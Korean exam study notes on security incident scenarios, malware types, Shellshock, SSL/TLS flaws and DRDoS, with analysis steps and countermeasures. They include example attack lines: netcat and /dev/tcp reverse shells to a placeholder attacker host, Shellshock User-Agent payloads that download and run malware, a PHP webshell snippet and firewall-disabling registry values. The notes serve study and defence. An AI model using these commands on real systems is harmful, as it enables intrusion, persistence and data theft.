어렵당
9. 침해사고 유형별 시나리오 및 취약점 본문
리버스 쉘(Reverse Shell) 침해 사고 시나리오
1. 외부에서는 방화벽 정책에 의해 원격접속이 불가능하기 때문에 내부 침입을 하여 telnet으로 무작위대입/사전공격을 수행, 루트계정의 패스워드를 알아낸다
2. 공격자는 이후 반복적 칩입을 손쉽게 하기 위해 일반 사용자 계정처럼 보이는 루트 권한(uid/gid 0)의 사용자 계정을 생성
3. 지속적으로 외부에서 웹서버에 접근할 수 있도록 netcat프로그램을 이용하여 리버스 쉘연결 작업을 cron 테이블에 등록
- /etc/crontab 등록 예시 : 30 2 * * * root /usr/bin/nc 10.10.10.10 80 -e /bin/bash (10.10.10.10 공격자 주소의 80port)
- echo를 이용한 crontab 등록 예시 : echo "30 2 * * * root /usr/bin/nc 10.10.10.10 80 -e /bin/bash" >> /etc/crontab
4. 외부에서 주기적으로 리버스 쉘을 연결하여 웹서버에 악의적인 명령을 수행
* 서버에 명령어를 실행할 수 있는 쉘(Shell)을 획득하는 방법은 크게 2가지가 있다
- 바인드 쉘(Bind Shell)
: 클라이언트/공격자가 타겟 서버에 접속하여 타겟 서버의 쉘을 획득하는 방식
: telnet/ssh를 통해 접속하여 쉘을 획득하는 방식과 동일
- 리버스 쉘(Reverse Shell)
: 역으로 타겟서버가 클라이언트/공격자로 접속해서 클라이언트가 타겟서버의 쉘을 획득하는 방식
: 일반적으로 인바운드는 엄격하게 제한하지만 아웃바운트 정책은 느슨하게 허용하기 때문에 사용
- 공격자는 자신의 PC/서버에서 'nc -lvp 80' 명령을 실행하여 nc프로그램을 리스너로 동작
(nc -l 옵션 : 리스터로 동작 / nc -p 옵션 : 리스닝 port 지정 / nc - v 옵션 : 진행사항 확인)
- 웹서버에서 nc 10.10.10.10 80 -e /bin/bash 명령을 실행하여 nc프로그램을 커넥터로 동작
(10.10.10.10:80 으로 접속한 후 -e옵션을 통해 /bin/bash로 실행 이미지를 교체한다는 의미)
분석 시나리오
1. /var/log/secure 와 /var/log/messages 로그 파일에 허용하지 않는 루트 계정의 telnet 원격 로그인 성공 로그 발견
2. root 계정의 명령어 실행 내역을 확인하기 위해 '해당 계정의 홈디렉터리/.bash_history' 로그 파일을 분석
(root권한의 계정을 생성한 이력과 crontab을 설정한 이력 확인)
3. netstat -antp | grep 공격자IP 를 통해 현재도 연결되어있는지 확인
-------------------------------------
루트킷(RootKit) 침해 사고 시나리오
1. 공격자는 웹서버 취약점 스캔을 통해 Tomcat 웹서버의 관리자 페이지(manager/html)가 외부에 노출되어 있으며 ID/PW를 초기 설치상태로(id : tomcat, pw : tomcat) 사용하고 있는것을 확인 (tomcat은 TCP/80,8080 port를 서비스중)
2. 공격자는 관리자 페이지 취약점을 익스플로잇(취약점을 유발시키는 코드 및 행위)하여 쉘코드를 실행, 리버스 쉘을 연결한다
3. 리버스 쉘을 이용하여 루트킷(추가 공격행위를 은닉하기 위해)을 웹서버에 설치한 후 지속적으로 외부에서 웹서버에 접근할 수 있도록 netcat프로그램을 이용하여 공격자와 리버스쉘 연결작업을 cron 테이블에 등록한다
(공격자는 루트킷을 다운받기 위해 wget명령 이용 'wget http://공격자웹서버/rootkit.tar.gz -O /var/tmp/patch.tar.gz')
* 익스플로잇(Exploit)
: 소프트웨어나 하드웨어의 버그 또는 취약점을 유발시키는 코드/행위
: 익스플로잇에 성공하면 프로그램 실행 제어권을 획득, 공격자가 의도한 명령을 담고있는 코드를 실행하는데 이를 쉘 코드라고 한다
(버퍼 오버플로우 익스플로잇 예시)
: 익스플로잇 코드를 통해 스택의 버퍼에 다수의 NOP명령과 쉘코드를 삽입
: NOP(No Operation)은 아무 기능도 수행하지 않는 명령어로 인텔x86에서 헥사값은 0x90 이다
: RET 주소가 쉘코드 주소를 정확히 가리켜야 하는데 쉘 코드 주소가 조금씩 바뀔 수 있기 때문에 정확한 주소를 알기 어렵다. 따라서 확률을 높이기 위해 다수의 NOP명령을 쉘 코드 앞에 삽입하여 해당 영역을 가리키기만 하면 NOP를 타고 최종적으로 쉘 코드가 실행되도록 하기 위함이다
* 쉘 코드 : 명령어 해석기 (리눅스 : bash,chs,ksh / 윈도우 : cmd)
* RET(Return Address)
: 어셈블리 코드
: CALL명령을 통해 호출된 함수에서 수행을 마치고 원래 호출한 함수로 복귀하기 위해 사용
: x86계열에서 ESP레지스터가 가리키는 값을 EIP레지스터로 이동시킴
* ESP 레지스터 : 스택의 최상단 주소를 담고있는 레지스터
* EIP 레지스터 : 다음에 실행할 명령의 주소를 담고있는 레지스터
* 64bit 리눅스 시스템 함수 호출 시 인수 저장 레지스터(6개)
: RDI, RSI, RDX, RCX, R8, R9 (순서대로)
* 64bit 윈도우 시스템 함수 호출 시 인수 저장 레지스터(4개)
: RCX, RDX, R8, R9 (순서대로)
CVE (Common Vulnerabilities and Exposure)
주소: cve.mitre.org
: 미국 비영리 회사 MITRE에서 1999년 처음 만들어 운영을 시작, 미국 표준기술연구소가 국가 취약성 데이터베이스를 만들어 협력체계를 구축함
: 유사한 취약점 정보가 관련 기관 및 보안업계 간 상이하게 분류되는 혼선을 방지하기 위해 만들어짐
형식 : CVE - 년도 - 취약점 번호 (ex : CVE - 2014 - 16013)
- CVSS(Common Vulnerability Scoring System)
: 보안취약점 평가체계로 취약점의 심각한 정도를 0.0부터 10.0까지 수치화하며 높을수록 취약점의 심각도가 높음을 의미
- CWE(Common Weakness Enumeration)
: 소프트웨어에서 공통적으로 발생하는 약점을 체계적으로 분류한 목록
- CWSS(Common Weakness Scoring System)
: CWE에 등록된 취약점의 취험성을 정량화하기 위한 점수 체계
* /bin 디렉터리에 있는 실행파일들의 변조가 의심되어 최근 10일 이내에 수정된 실행 파일이 있는지 여부를 확인
명령어 : find /bin/ -type f -mtime -10
lsof -p <PID> : 해당 프로세스에 의해 오픈된 파일 정보를 보여주는 프로그램
lsof -u <UID> : 해당 사용자를 기준으로 프로세스가 오픈한 파일 정보를 확인할 수 있다
lsof -i <@ip주소> : 해당 IP가 오픈하고 있는 프로세스 정보를 확인할 수 있다
-------------------------------------
DBD(Drive By Download) 침해 사고 시나리오
: 사용자도 모르게 악성코드 다운로드를 유도하는 공격
1. 공격자는 웹서버에 해킹/악성 스크립트를 삽입(악성 스크립트가 있는 다른 중계지 또는 유포지로 리다이렉트 하는 iframe 태그가 포함)
2. 취약한 PC 환경의 사용자는 웹서버 접속 시 경유지,중계지를 경유하여 유포지로 접속되고 PC에 익스플로잇/악성코드가 설치됨
* 유표지가 쉽게 추적당하는걸 막기 위해 많은 경유지를 거침* iframe 같은 악성 스크립트를 난독화 -> 관리자 해석 어렵게, 보안장비 우회를 위함* 난독화
: 프로그램 코드를 읽기 어렵게 만드는 기술로 소스코드 난독화와 바이너리 난독화로 구분한다
홈페이지 유포 악성코드 탐지기술
정적 분석기술(Static Analysis)
: 웹 소스코드를 분석하여 알려진 악성코드 경유지/중계지/유포지가 있는지, 또는 악성 스크립트 문자열을 포함하는 악성링크가 있는지를 탐지하는 방식
: 알려진 탐지 패턴으로 점검하기 때문에 빠르지만 알려지지 않은 악성코드에 대해서는 탐지하지 못하는 한계
동적 분석기술(Dynamic Analysis)
: 가상의 이용자PC환경(샌드박싱)을 구성하여 다양한 취약점에 노출시킨 후 점검대상 홈페이지에 접속하여 어떤 행위를 하는지 분석하는 기법: 행위분석이라고도 하며 신종 악성코드 탐지가 가능하나 속도가 느리다
분석 시나리오
1. 웹서버 로그(access_log) 점검 후 업로드 디렉터리에 허용하지않는 웹셀로 의심되는 PHP파일이 호출되었고 정상 응답(200)되었음을 확인
2. 웹쉘 파일 확인/ 게시판 임시 폐쇄 후 개발자를 통해 즉시 보안조치 진행
- 업로드 파일명 확장자에 대한 적절한 필터링
- 업로드 파일을 저장하기 위한 전용 디렉터리를 생성한 후 웹서서 설정을 통해 실행 설정을 제거
3. 로그를 통해 rm -rf /var/log/httpd/access_log 로그를 제거하려는 시도 확인(응답코드 200이지만 apache계정으로 실행되어 권한문제로 실패했을수도있음)
4. 관리자는 명령 실행 취약점이 존재한다는 사실을 확인하고 임시폐쇄 후 개발자를 통해 즉시 보안조치 진행
- 사용자 입력값에 운영체제 명령어를 실행할 수 있는 문자(; && | ||)가 포함되어있는지 적절히 필터링
- 허용가능한 명령어 리스트를 화이트 리스트 방식으로 선정하여 설정
5. 파일 업로드 이후 평소 보이지 않던 신규 자바스크립트(co2m.js) 파일이 호출되었고 정상 응답되었음을 확인
-co2m.js 파일을 분석해본 결과 다른 사이트로 몰래 이동하기 위한 iframe 태그와 사용자 쿠키 정보를 탈취하여 공격자 웹서버로 전달하는 코드가 포함되어있던것을 확인
6. 자바스크립트(co2m.js) 파일을 사용하고 있는 페이지를 조사한 결과 기본 페이지(index.php)가 변조되어 스크립트가 삽입된것을 확인
(stat index.php 명령을 통해 MAC TIME을 확인하였을때 Modify 수정시간이 최근 수정된것을 확인)
7. 관리자는 Drive By Download 공격을 위한 악성코드 경유지/중계지로 사용된것으로 판단 후 동적분석 수행
-------------------------------------
악성코드 행위 분석 시나리오
악성코드 분류
다운로더(Downloader)
: 악성코드에서 지정한 외부 주소에 접속해서 추가적인 악성코드를 다운: 다운 자체는 악성 기능이 아니기 때문에 백신 프로그램을 통한 탐지가 어렵다
드롭퍼(Dropper)
: 악성코드를 내부에 압축/암호화하여 보관하여 백신프로그램을 통한 탐지가 어렵다
: 자신 내부에 포함된 데이터를 이용하여 악성코드를 생성하기 때문에 사용자가 인식하지 못하는 순간에 악성코드 생성
인젝터(Injector)
: 드롭퍼의 특수한 형태로 파일을 생성하지 않고 자신의 데이터를 이용해 바로 새로운 프로세스를 생성하여 메모리에 상주시키는 형태의 악성코드
키로커(Keylogger)
: 컴퓨터가 입력하는 정보를 기록
백도어(Backdoor)
: 감염된 PC에 특정 포트를 열어놓고 정상적인 인증과정 없이 원격 접속을 통해 직접 조작하는 형태
트로이목마(Trojan horse)
: 정상적인 소프트웨어의 형태를 띠지만 악의적인 행위를 포함하고 있는 악성코드
랜섬웨어(Ransomware)
: 사용자 파일을 암호화 시켜 일정금액을 지불하면 암호를 풀어주는 방식으로 금전적인 요구를 하는 악성코드
애드웨어(Adware)
: 상업용 광고 목적으로 만들어진 악성코드
스파이웨어(Spyware)
: 사용자 동의 없이 설치되어 컴퓨터 정보와 개인정보를 수집하는 악성코드
바이러스(Virus)
: 정상적인 파일/시스템 영역에 침입하여 자신의 코드를 삽입하거나 설치하는 프로그램
웜(Warm)
: 자기 자신을 레지스트리에 등록하거나 복사본을 생성하여 독자적으로 실행되는 악성코드
루트킷(Rootkit)
: 프로세스나 파일 등의 흔적을 사용자가 볼 수 없도록 하는 프로그램
부트킷(Bootkit)
: 정상적인 부팅을 하지 못하게 막는 악성코드
* 멀티바이징(악성코드/Malware + 광고/Advertising)
: 온라인 광고를 통해 악성코드를 유포시키는 행위
* 혹스(hoax)
: 거짓정보를 토대로 메일을 보내 사용자를 속이는 방식의 협박성 사기메일
: 개인정보, 사진, 동영상등의 정보를 탈취해서 가지고있다고 속여서 돈을 달라고 협박
* 조크(joke)
: 바이러스는 아니지만 바이러스와 유사한 증상으로 사용자들을 놀라게 하는 프로그램
악성코드 분석을 위한 언패킹
패킹 : 실행 파일의 크기를 줄이고 내부코드와 리소스를 감추기 위해 압축 또는 암호화하는 기법
(리버스 엔지니어링을 통해 분석되는것을 방지)
다형성 : 악성코드 자체의 기능은 변하지 않지만 실행 시마다 코드의 내용이 변경되는 특징
(리버스 엔지니어링을 통해 분석되는것을 방지)
언패킹 : 패킹된 파일을 푸는 것
시작 프로그램(레지스트리)에 악성코드 등록 경로
윈도우 시작 시 : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
현재 사용자 로그인 시 : HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
모든 사용자 로그인 시 : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
서비스 자동실행에 악성코드 등록 경로
Key : HKEY_LOCAL_MACHINE\SYSTEM\CUrrentControlSet\Services\
윈도우 방화벽 우회 설정(Windows XP 기준)
Key:HKEY_LOCAL_MACHINE\SYSTEM|CurrentControlSet\Services\SharedAccess\Parammeters\FirewallPolicy\StandardProfile
Value : "EnableFirewall"=dword:00000000 (00000000은 방화벽 기능 비활성화를 의미)
현재 사용자의 숨김 파일 및 폴더를 표시 안함으로 설정
Key : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Value : "Hidden"=dword:00000002
모든 사용자에 대해 숨김 파일 및 폴더를 표시함으로 변경하지 못하도록 설정
Key:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer|advanced\Folder\Hidden\SHOWALL
Value : "CheckedValue"=dword:00000000
현재 사용자에 대해 보호된 운영체제 파일 숨기기 설정
Key : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Value : "ShowSuperHidden"=dword:000000000
모든 사용자에 대해 보호된 운영체제 파일 숨기기를 해제하지 못하도록 설정
Key:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WIndows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden
Value : "UncheckedValue"=dword:00000000
*사실 레지스트리는 경로를 외우기보단 이름을 보고 유추가 필요
-------------------------------------
워터링 홀(Watering Hole) 침해 사고 시나리오
: 특정 타겟을 대상으로 은밀하게 지속적으로 다양한 공격을 하는 APT공격
: 타겟이 접속하는 사이트를 미리 감염시켰다가 타겟이 접속하였을때 익스플로잇/악성코드 설치
*스피어 피싱(Spear Phishing)
: 특정 타겟을 대상으로 이메일을 발송하여 악성웹사이트 유도 또는 악성코드에 감염시키는 방식
* 사이버 킬 체인(Cyber Kill Chain)
: 공격자는 공격을 위해 여러 단계를 거치는데 이런 단계중 어느 한 단계의 공격이라도 탐지/차단/대응해서 목표 달성 이전에 선제적으로 무력화 시키는 방어시스템
* 디스크 파괴형 악성코드 특징 : 마스터 부트 레코드(MBR) 또는 볼륨 부트 레코드(VBR)영역을 훼손하여 컴퓨터가 정상적으로 부팅되지 않도록 하는 악성코드
SSH 포트 포워딩(Port Forwarding)(또는 SSH 터널링): SSH 클라이언트가 SSH서버에 접속하여 만든 연결을 다른 어플리케이션에서 이용하여 통신할 수 있는 기술: 이를 악용하여 의도적으로 방화벽을 우회하여 내부시스템에 침투하는 등의 공격에도 활용될수 있는 위험이 있다
로컬 포트 포워딩(Local Port Forwarding)
: SSH 클라이언트가 SSH서버에 접속하여 연결이 생성되고 나면 어플리케이션 클라이언트는 SSH 클라이언트에 생성된 리스닝 포트(tcp/4321)에 접속하여 SSH연결을 통해 최종 목적지인 애플리케이션 서버(tcp/80)와 통신하게 된다
형식 : SSH -L "로컬 리스닝포트":"포워딩할 서버주소:포트" "SSL서버주소"
-> 클라이언트(10.10.10.20)가 127.0.0.1:4321 프록시 설정 시 10.10.10.10서버의 80포트로 연결이 가능해진다
리모트 포트 포워딩(Remote Port Forwarding)
: 외부에 있는 SSH 서버에 리모트 포트 포워딩 방식으로 접속하여 외부에서 내부용 웹서버 접속이 가능하다
(리버스쉘과 비슷)
형식 : SSH -R "원격 리스닝포트":"포워딩할 서버주소:포트" "SSL서버주소"
-------------------------------------
GNU Bash 취약점(ShellShock)
: bash는 환경변수의 함수 선언문 뒤에 임의의 명령어를 삽입할 경우 환경변수에 설정된 함수 선언 시 함수 선언의 끝을 인지하지 못하고 삽입한 명령어까지 실행하는 취약점
: export fn=' () { echo "env function"; } ;cat /etc/passwd'
처럼 함수를 선언하면 뒤에 끝을 인지하지 못해서 추가 명령이 있다면 추가로 실행하는 취약점(bash를 입력하여 자식 쉘에서도 fn 입력시 cat /etc/passwd 명령이 실행됨)
* () { return; }; 는 bash가 제공하는 함수선언 기능으로 취약점이 발생하는 부분이다
* env : 전역변수 설정 및 조회
* set : 환경변수 설정 및 조회 (환경변수는 자식 쉘에서도 확인가능)
* unset : 환경변수 해제
* export : 쉘 변수를 환경변수로 변경
CGI를 이용한 Bash 취약점
: CGI는 웹서버에 요청된 페이지를 응용프로그램에 절달하고 처리하기 위한 인터페이스로 User-Agent와 같은 요청헤더정보를 쉘의 환경변수에 저장하는데 공격자가 헤더정보에 함수와 명령어를 추가하여 전송하면 해당 명령어가 실행되는 취약점이 발생한다
* /dev/tcp를 이용한 리버스 쉘(Reverse Shell) 연결 유형
: /dev/tcp 란 bash 에서 지원하는 특수한 장치파일로 특정 목적지/포트로 연결할 수 있다
형식 : /dev/tcp/목적지 IP/목적지 port
공격 예시 : User-Agent: () {:;}; /bin/bash > /dev/tcp/10.10.10.10/8081 0<&1
/bin/bash > /dev/tcp/10.10.10.10/8081 : 표준 출력을 원격지로 리다이렉트 하고있다
0<&1 : 표준출력을 표준입력으로 넣는다, 표준 출력은 공격자가 입력하는 데이터를 의미하며 공격자가 입력하는 명령어를 표준 입력으로 넣어 명령을 실행시킬 수 있다.
=> 10.10.10.10 와 리버스 쉘을 맺게하는 공격
* nc(netcat) 프로그램을 이용한 리버스 쉘 연결
공격 예시 : User-Agent: () {:;}; /usr/bin/nc 10.10.10.10 8081 -e /bin/sh
* 악성코드 다운로드 유형
공격 예시 : User-Agent: () {:;}; /bin/bash -c "/usr/bin/wget -O /tmp/xyz http://10.10.10.10/malware; /bin/chmod 777 /tmp/xyz; /tmp/xyz; /bin/rm -rf /tmp/xyz"
( /bin/bash -c " " : 명령어로 인식해서 bash쉘을 실행하라는 뜻 )
=> 10.10.10.10 악성코드에 있는 malware를 xyz로 /tmp에 다운받고 해당 파일 권한을 777로 변경하여 실행한 후 제거한다
* 웹쉘(WebShell) 생성 유형
$cmd=$_REQUEST["cmd"]; if($cmd != "") {print shell_exec($cmd);} ?> : cmd값이 null이 아니면 cmd값을 인자로 줘서 실행하고 출력해라
> ../html/x.php : 앞의 결과로 x.php라는 웹쉘을 생성
성공 시 아래와 같이 웹쉘을 호출하여 명령을 실행할 수 있음
대응방안
: 취약한 버전의 Bash를 사용하고 있는 경우 최신 버전으로 업데이트
: CGI 서비스 사용유무를 확인하여 해당 서비스를 사용하지 않는 경우 서비스를 중지하거나 CGI를 삭제한다
: 네트워크 보안장비(IPS/IDS/방화벽)단에서 공격 시그니처(탐지룰)를 등록하여 차단한다.
-------------------------------------
SSL/TLS 취약점
HeartBleed(하트 블리드) 취약점
: OpeenSSL 라이브러리의 하트비트 확장 모듈의 버그로 인하여 발생한 취약점
: 서버에 저장된 중요 메모리 데이터가 노출되는 취약점
대응방안
: 취약점이 존재하지 않은 OpenSSL 버전으로 업데이트
: 네트워크 보안장비 측면 대응
- snort 룰 예시
content:"|18 03 00|"; depth:3;
(SSL/TLS 버전에 따라서 |18 03 01|, |18 03 02| )
content:"|01|"; distance:2; within:1;
content:!"|00|"; within:1;
: 서버 측 SSL/TLS 개인키가 유출되었을 가능성을 배재할 수 없기 때문에 인증서 재발급 받는것을 검토
: 취약점 조치 완료 후 사용자들의 비밀번호 재설정을 유도하여 추가피해 방지
프리크(FREAK) 취약점
: SSL 통신 시 공격작자 MITM 중간자 공격을 통해 512비트 RSA 수출버전으로 다운그레이드 시켜 정보를 유출시킬 수 있는 취약점(수출용 버전은 보안이 약함)
대응방안
: OpeenSSL 버전 최신버전 업그레이드(버전 업그레이드가 어려울경우 'RSA_EXPORT' cipher suite 비활성화)
로그잼(LogJam) 취약점
: 공격자가 Diffie-Hellman 키교환을 사용하여 TLS연결을 512bit 수출 버전 암호화로 다운그레이드 할 수 있다
POODLE 취약점
: SSL/TLS 협상 시 버전 다운그레이드를 통해 SSLv3.0을 사용하도록 강제한 후 중간자 공격을 통해 데이터를 추출
대응방안
: SSLv3.0을 사용하지 않도록 서버설정을 한다
HEIST 취약점
: 자바스크립트로 브라우저에 대한 사이트채널 공격을 통해 암호문의 정확한 크기를 알아냄
DROWN 취약점
: SSLv2.0 취약점을 악용한 교차 프로토콜 공격, TLS 연결 해독 가능
-------------------------------------
NTP 분산 서비스 거부(DRDoS) 취약점
: NTP 서버에 최근 접속한 클라이언트 목록(monlist)을 요청하여 공격대상에게 대량의 증폭/반사된 응답 트래픽을 유발시키는 DRDos 공격
: monlist 요청시 최근 접속한 최대 600개의 접속 호스트 리스트를 응답받을 수 있다
: UDP/123 port 사용
date 명령어 : 현재 서버의 날짜와 시간을 확인하거나 설정할 수 있는 명령어
rdate 명령어 : 원격지의 타임서버를 이용하여 날짜와 시간을 확인하거나 설정할 수 있는 명령어
( 타임서버는 TCP/UDP 37 port를 사용)(현재는 타임서버대신 시간 정밀도가 높은 NTP를 주로사용)
ntpdate 명령어 : 원격지의 NTP 서버를 이용하여 날짜와 시간을 확인하거나 설정할 수 있는 명령어
( ntp -q "NTP 서버" : NTP서버의 날짜/시간 정보 확인 )
( ntp "NTP 서버" : NTP서버의 날짜/시간 정보를 현재서버에 설정 )
( offset은 로컬서버를 기준으로 NTP서버와의 시간 차이를 보여준다 )
공격 절차
1. 공격자는 출발지 IP주소를 공격대상 서버의 IP로 패킷을 변조한다(트래픽 반사를 위해서)
2. 취약한 다수의 NTP서버로 monlist명령의 다수 쿼리를 전송한다
공격예시 : ntpdc -n -c monlist 192.168.56.100 ( ntpdc는 ntp서버 질의용 프로그램, 192.168.56.100 NTP서버에 monlist를 요청한다는 의미 )
3. NTP 서버는 변조된 출발지 IP(공격대상)로 응답하고 공격대상 서버는 다수의 응답 수신으로 네트워크 대역이 소진되어 서비스 거부 상태가 된다
대응방안
1. 취약한 NTP데몬(ntpd) 서버 버전을 업그레이드한다
: monlist 기능이 해제된 4.2.7 이상의 최신버전으로 업그레이드
: 버전확인 명령어 ntpd --version
2. 4.2.7 이상 업그레이드가 어려울 경우 설정 변경을 통하여 monlist 기능을 해제한다
/etc/ntp.conf 에 'disable monitor' 를 추가하여 monlist 기능을 해제
3. 취약점에 영향을 받는 서버인지 또는 적절하게 조치가 되었는지 확인
명령 : ntpdc -n -c monlist <점검대상 NTP 서버 IP>
4. 보안장비를 통한 차단
: 일반적인 NTP 서버 응답패킷은 100바이트 이하인데 monlist 질의를 통한 응답패킷은 400바이트 내외로 발생하기 때문에 패킷 크기를 이용하여 접근을 차단한다
NTP 서버 iptables 예)iptables -A OUTPUT -p udp --sport 123 -m length --length 100: -j DROP: NTP서버에서 나가는 패킷 중 출발지 UDP/123 port이고 100바이트 이상인 패킷은 차단
-------------------------------------
SSDP 분산 서비스 거부(DrDoS) 취약점
: SSDP(Simple Service Discovery Protocol)는 단순한 서비스를 탐색하는 프로토콜
: 프린터, 스캐너, IP카메라 등 다양한 IoT 기기 네트워크 탐색용도로 사용
: UDP/1900 port 사용(멀티캐스트 방식)
(고정된 멀티캐스트 SSDP 주소 : 239.255.255.250)
: M-SEARCH 요청으로 해당 기기에서 제공하는 서비스 정보를 요청하는데 요청 패킷에 비해 응답패킷이 상대적으로 매우 크기 떄문에 DrDoS 공격으로 악용된다
대응방안
: 업무에 불필요한 UDP port 차단/중지
: 보안장비를 이용하여 임계치 기반의 UDP 패킷 차단정책을 적용
DLL(Dynamic Link Library) 인젝션
: 마이크로소프트 윈도우에서 구현된 동적 라이브러리로 여러 프로그램이 실행중에 사용할수있는 데이터와 함수들로 구성
: 실행중인 프로세스에 특정 DLL 파일을 강제로 삽입시켜서 DLL을 구현한 사용자하 원하는 작업을 해당 프로세스가 수행하도록 하는 기법
: 외부에서 특정 DLL을 로드하여 실행하는 API를 호출하도록 실행중인 프로세스에 명령을 전달하여 해당 DLL을 구현한 사용자가 원하는 코드를 실행하도록 한다
-------------------------------------
+++
* 블랙박스 테스트
: 애플리케이션의 소스코드를 보지 않고(내부구조나 알고리즘을 보지 않고) 외부 인터페이스 구조를 분석하여 취약점을 찾아내는 방식
* 화이트박스 테스트
: 애플리케이션의 소스코드를 살펴보면서 취약점을 찾아내는 방식
* YARA(야라)
: 악성코드에 포함된 패턴을 이용해 특성과 행위를 기준으로 악성코드를 분류하는 도구: 텍스트, 바이너리 패턴뿐만이 아니라 파일,프로세스 오프셋, 가상 메모리 주소 활용 및 정규표현식을 이용할수있다: 바이러스 포탈(Virus Total)에서 제작하여 오픈소스로 관리
* 슬랙 공간(Slack space)
: 저장매체의 물리적인 구조와 논리적인 구조의 차이로 발생하는 낭비 공간
: 물리적으로 할당된 공간이지만 논리적으로 사용될 수 없는 공간
: 데이터를 은닉하거나 악성코드를 기록해두는 악의적인 목적으로 활용될 수 있다
: 램 슬랙, 드라이브 슬랙, 파일시스템 슬랙, 볼륨 슬랙 등이 있다
* 공급망 공격(Supply chain Attack)
: 개발사/제조업체 -> 사용자 배포
: 공급망 공격은 개발사/제조업체 같은 공급망에 침투하여 사용자에게 전달되는 S/W나 H/W를 변조하는 공격
* DDE(Dynamic Data Exchange)
: 사용자 편의를 위해 윈도우 운영체제에서 응용프로그램(주로 office) 간 데이터 전송을 위해 사용하는 기능
: 워드파일을 열때 엑셀파일에 있는 데이터를 가져와서 사용할수있다
: 이러한 기능을 악용하여 정상적인 엑셀,워드 파일로 보이지만 실행 시 악의적인 시스템 명령을 수행하여 악성프로그램 다운로드, 데이터 유출등의 행위를 수행하는 파일을 만들어 유포한 사례가 다수 발생
* MITRE ATT&CK (마이트리 어택)
: MITRE 사에서 사이버 공격 전술/기법/절차에 대한 정보를 기반으로 MITRE ATT&CK 프레임워크를 제공: 공격자가 사용한 악의적인 행위에 대해서 공격전술과 기법관점으로 분석 후 정보를 분류해높은 표준적인 데이터: 2018년 1월 최초버전 발표, 지속적인 업데이트가 되고있음
* 풋프린팅(Footprinting)
: 해킹을 하기전에 침입 시스템에 대한 정보를 모으는 활동
* Log4j 취약점
: Log4j는 Apache 재단의 오픈 소스 프로그램으로 JAVA기반 Logging Library 사용 시 발생하는 취약점: JAVA기반의 JVM환경에서 해당 라이브러리를 사용하는 모든 서비스에서 발생할 수 있는 취약점으로 JNDI Lookup 메소드를 입력값 검증 없이 호출할 때 임의의 코드가 실행될 수 있는 취약점
-------------------------------------
'학습 > 알기사 정보보안기사 정리' 카테고리의 다른 글
10. 정보보안 일반 (1) | 2024.10.27 |
---|---|
8. 보안장비 (1) | 2024.10.21 |
7. 서버 보안 (1) | 2024.10.18 |
6. 애플리케이션 보안 (0) | 2024.10.13 |
5. 네트워크 보안 (1) | 2024.10.05 |